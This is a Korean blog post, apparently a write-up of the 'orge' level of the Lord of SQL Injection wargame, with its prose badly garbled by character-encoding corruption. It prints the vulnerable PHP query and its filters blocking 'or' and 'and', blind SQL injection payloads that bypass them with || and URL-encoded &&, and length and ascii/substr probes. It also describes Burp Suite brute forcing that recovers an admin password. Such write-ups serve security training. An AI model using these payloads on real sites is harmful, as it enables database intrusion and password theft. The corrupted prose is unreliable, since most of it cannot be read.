ํฐ์คํ ๋ฆฌ ๋ทฐ
7๋ฒ์งธ ๋ฌธ์ ์ธ " orge " ๋ ์ ์ ํ์๋ " orc " ๋ฌธ์ ์ ์ ์ฌํฉ๋๋ค. " pw='{$_GET [pw]} " ์์ ์ฟผ๋ฆฌ๋ฌธ์ ์ฝ์ ํ์ฌ ์คํ๋๋ ํํ์ด์ง๋ง ๋ช ๊ฐ์ง ๋ค๋ฅธ ์ ์ด ์กด์ฌํฉ๋๋ค.
๊ฒ์ฆ๊ตฌ๋ฌธ
1. ๊ธฐ์กด admin ๊ณ์ ์ด์ธ์ guest ๊ณ์ ์ด ์ถ๊ฐ์ ์ผ๋ก ์กด์ฌํจ
2. or , and ์ฐ์ฐ์๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ๊ฒ์ฆํ๊ณ ์์
๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํ ํฌ์ธํธ ๋ถ๋ถ์
$query = "select pw from prob_orge where id='admin' and pw='{$_GET [pw]}'";
if(($result ['pw']) && ($result['pw'] == $_GET ['pw'])) solve("orge");
์์ฒ๋ผ 'admin' ๊ณ์ ์ผ๋ก ์ ๊ทผํ ์ ์๋๋ก ์ถ๊ฐ์ ์ผ๋ก ์ ์ธํด์ค์ผ ํ๋ฉฐ, ์ ๋ ฅ๋ pw ๊ฐ๊ณผ = DB์ ์๋ pw ๊ฐ์ด ์ผ์นํด์ผ ํด๊ฒฐํ ์ ์์ต๋๋ค.
์ฆ " orc " ๋ ๋ฒจ์ฒ๋ผ BSQLI ๊ธฐ๋ฒ์ ํ์ฉํด์ ์ฐธ, ๊ฑฐ์ง ๊ฐ์ ํตํ ํจ์ค์๋ ์ ์ถ๋ฅผ ํด์ผ ํฉ๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET [pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
๋ํ ์ฐ์ฐ์ " or " ์ " and " ๋ ๊ฒ์ฆ์ ํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ถ๊ฐ์ ์ผ๋ก ์ฐํ ๊ธฐ๋ฒ์ ํตํด์ ์ด๊ฑฐํด๋ณด๊ฒ ์ต๋๋ค.
์ฐ์ guest ๊ณ์ ์ด ์๋ "admin" ๊ณ์ ์ ํจ์ค์๋ ๊ธธ์ด๋ฅผ ์ ์ถํด์ผ ๋๊ธฐ ๋๋ฌธ์ " or " ์ " and " ๊ตฌ๋ฌธ์ ํตํด ์ฐธ ๊ฐ๊ณผ ๊ฑฐ์ง ๊ฐ์ ๋น๊ตํด ๋ด์ผ ํฉ๋๋ค.
OR AND ์ฐํ
' || id='admin' %26%26 length(pw)>1%23 --> TRUE
' || id='admin' %26%26 length(pw)>8%23 --> FALSE
or --> " || "
and --> && --> %26%26 ( GET ๋ฐฉ์์ผ๋ก๋ "&" ๋ฅผ ์ดํดํ์ง ๋ชปํ๊ธฐ์ ์ธ์ฝ๋ฉ)
pw=' || id='admin' %26%26 ascii(substr(pw,1,1))=47%23
ํจ์ค์๋ ๊ธธ์ด๋ฅผ ํ์ธํ์ผ๋ ์ด์ 8์๋ฆฌ ๋ฌธ์์ด์ ๊ฐ ์๋ฆฟ์๋ง๋ค ์ด๋ค ๋ฌธ์์ด์ ํจ์ค์๋๋ฅผ ์ฌ์ฉํ๋์ง ์ฐธ, ๊ฑฐ์ง ์ ํตํด ํ์ธํด๋ณผ ์ ์์ต๋๋ค.
" burp suite " ์ Cluster bomb ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ๋นจ๊ฐ ๋ฐ์ค ์ณ์ง $1$ ๊ณผ $47$ ๋ถ๋ถ์ ๊ฐ์ ํ๋์ฉ ๋์ ํด๋ณด๋ฉฐ ์ซ์ ํํ๋ก ๋ ํจ์ค์๋๊ฐ ์กด์ฌํ๋์ง ํ์ธํด๋ณผ ๊ฒ๋๋ค.
32 ~ 47 : ํน์๋ฌธ์ (space,!, ", #, $, %, & ๋ฑ)
58 ~ 64 : ํน์๋ฌธ์ (:, ;, <, =, >,?, @)
123 ~ 126 : ํน์๋ฌธ์ ({, |, }, ~)
48 ~ 57 : ์ซ์ (0 ~ 9)
65 ~ 90 : ์์ด(๋๋ฌธ์) (A ~ Z)
97 ~ 122 : ์์ด(์๋ฌธ์) (a ~ z)
" ์ฒดํฌ " ํ์๋ ๋ถ๋ถ์ ๋ณด์๋ ๊ฒ์ฒ๋ผ 8์๋ฆฌ ์ค 1, 3, 4, 5 ๋ฒ์งธ ์๋ฆฌ์ ์ซ์๊ฐ ์ฌ์ฉ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. " payload1 " ์์ญ์ ๊ฐ ์๋ฆฟ์๋ฅผ ์๋ฏธํ๋ฉฐ " payload2 " ๋ " ์ฐธ " ๊ฐ์ผ๋ก ๋์ถ๋ ํจ์ค์๋์ ๋๋ค.
payload ์ค์ ์ ๋ฐ๊ฟ์ ์ด๋ฒ์๋ " ์๋ฌธ์ " ํํ๋ก ์ค์ ๋ ํจ์ค์๋๋ฅผ ์์๋ณด๊ธฐ ์ํด ascii ์ฝ๋ 97 ~ 122๊น์ง ์ง์ ํด์ฃผ๊ณ ๋์ ํด๋ณธ ๊ฒฐ๊ณผ ๋๋จธ์ง 2, 6, 7, 8 ์๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ๋ชจ๋ ๋์์ต๋๋ค.
ASCII ์ฝ๋๋ฅผ ์๋ ํํ๋ก ๋ณํ
55 --> 7
98 --> b
55 --> 7
53 --> 5
49 --> 1
97 --> a
101 --> e
99 --> c
orc ๋ฌธ์ ์ ์งํ๋ฐฉ๋ฒ์ ๋์ผํ์ง๋ง ์ถ์ ์์ ์๋๋ฅผ ํ์ ํด๋ณด๋ฉด " ์ง์ ๋ ๊ณ์ " ์ ํจ์ค์๋๋ฅผ ์ฐธ, ๊ฑฐ์ง ์ ํตํด ํจ์ค์๋๋ฅผ ์ ์ถํ๊ธธ ์ํ์ผ๋ฉฐ ์ฌ๊ธฐ์ ์ฃผ๋ก ์ฌ์ฉ๋๋ ์ฐ์ฐ์์ธ " or์ and "๋ฅผ ๊ฒ์ฆํ๋ค๋ฉด ์ด๋ป๊ฒ ์งํํ ๊ฒ์ธ๊ฐ?๋ผ๋ ๋ฌธ์ ๋ก ํ์ ๋ฉ๋๋ค.
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LOS] Vampire ํ์ด(9) (0) | 2020.12.06 |
---|---|
[LOS] Troll ํ์ด(8) (0) | 2020.12.06 |
XSS Challenges 3 (0) | 2020.12.05 |
[LOS] darkelf ํ์ด(6) (0) | 2020.12.05 |
[LOS] wolfman ํ์ด(5) (0) | 2020.12.05 |